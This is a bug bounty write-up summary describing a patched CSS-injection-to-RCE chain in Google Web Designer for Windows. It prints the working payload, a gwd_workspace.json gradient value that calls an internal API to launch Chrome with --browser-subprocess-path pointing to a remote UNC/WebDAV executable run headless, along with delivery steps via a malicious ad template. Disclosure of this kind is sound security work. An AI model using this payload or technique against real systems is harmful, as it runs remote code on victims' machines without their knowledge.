# Client-side RCE via CSS Injection in Google Web Designer for Windows

Unsanitized gradient CSS in gwd_workspace.json injected into Swatches UI, calling internal ninja-shell API to inject Chrome --browser-subprocess-path, executing a remote WebDAV payload for RCE.

- Payout: $3,500
- Severity: high
- Program: Google
- Found by: Bálint Magyar
- Disclosed: 2025-08-30
- Write-up quality: 9/10
- Original: https://balintmagyar.com/articles/google-web-designer-css-injection-client-rce
- Library page: https://bugbountylibrary.com/r/blog%3Abalintmagyar-com-articles-google-web-designer-css-injection-client-rce
- Tags: area:os domain:desktop impact:rce kind:bounty platform:blog sev:high tech:chromium technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** Google Web Designer Windows desktop app (CEF shell, ninja-shell internal REST API)
**Root cause:** Custom gradient CSS definitions from gwd_workspace.json were only checked against gradient property names then dumped verbatim into a style attribute, enabling CSS injection; the internal /api/browser endpoint failed to sanitize the url parameter, allowing quote breakout into chrome.exe command line arguments.
**Steps:**
1. Craft gwd_workspace.json with color.customColorPalettes color_data css value `-webkit-linear-gradient;background:url('//ninja-shell/api/browser?method=open&usedefaultapp=false&browser=chrome&url=//%22%20--browser-subprocess-path%3D%5C%5Cattacker.com%5Cpayload.exe%20--headless%20%22')`
2. Host payload.exe on a WebDAV server reachable via UNC path `\\balintmagyar.com\payload.exe`
3. Package evil_ad.html + gwd_workspace.json and deliver to victim (e.g. malvertising 'premium ad template')
4. Victim opens document in Google Web Designer and clicks color picker > Swatches
5. Swatch renders, url() fires GET to ninja-shell /api/browser, which spawns `chrome.exe "//" --browser-subprocess-path=\\balintmagyar.com\payload.exe --headless ""`, downloading and executing payload
**How found:** Noticed solid colors were strictly regex-parsed and rebuilt while gradient definitions were only checked against gradient property names then inserted verbatim, hypothesizing CSS injection. Then reviewed the internal ninja-shell API surface, found /api/browser spawns chrome.exe with the url parameter, and tested quote breakout. Solved the unknown-path problem by recalling Windows UNC path handling for --browser-subprocess-path.
**Exploitation:** Attacker distributes a malicious ad document package; when the victim opens it and opens the Swatches UI, the injected CSS background url() triggers the internal ninja-shell /api/browser endpoint. The url parameter's double quote breaks out of the chrome.exe argument, injecting --browser-subprocess-path pointing to a UNC WebDAV path. Chrome downloads and executes the remote executable, giving the attacker code execution as the victim user. --headless hides the spawned window.
**Escalation:** Chained CSS injection -> internal API access -> command-line injection -> UNC path to bypass unknown absolute path/username, achieving RCE without knowing victim filesystem layout.
**Insight:** In CEF/Electron-style apps, audit the boundary where web-layer strings reach native subprocess command lines; look for endpoints that spawn browsers/shells with user-influenced args, and use UNC paths to make remote payloads resolvable without knowing victim paths.

## Proof of concept (copied exactly from the original report)

**Malicious gwd_workspace.json CSS injection payload**

```
"color_data": [
 {
 "css": "-webkit-linear-gradient;background:url('//ninja-shell/api/browser?method=open&usedefaultapp=false&browser=chrome&url=//%22%20--browser-subprocess-path%3D%5C%5Cbalintmagyar.com%5Cpayload.exe%20--headless%20%22')"
 }
]
```

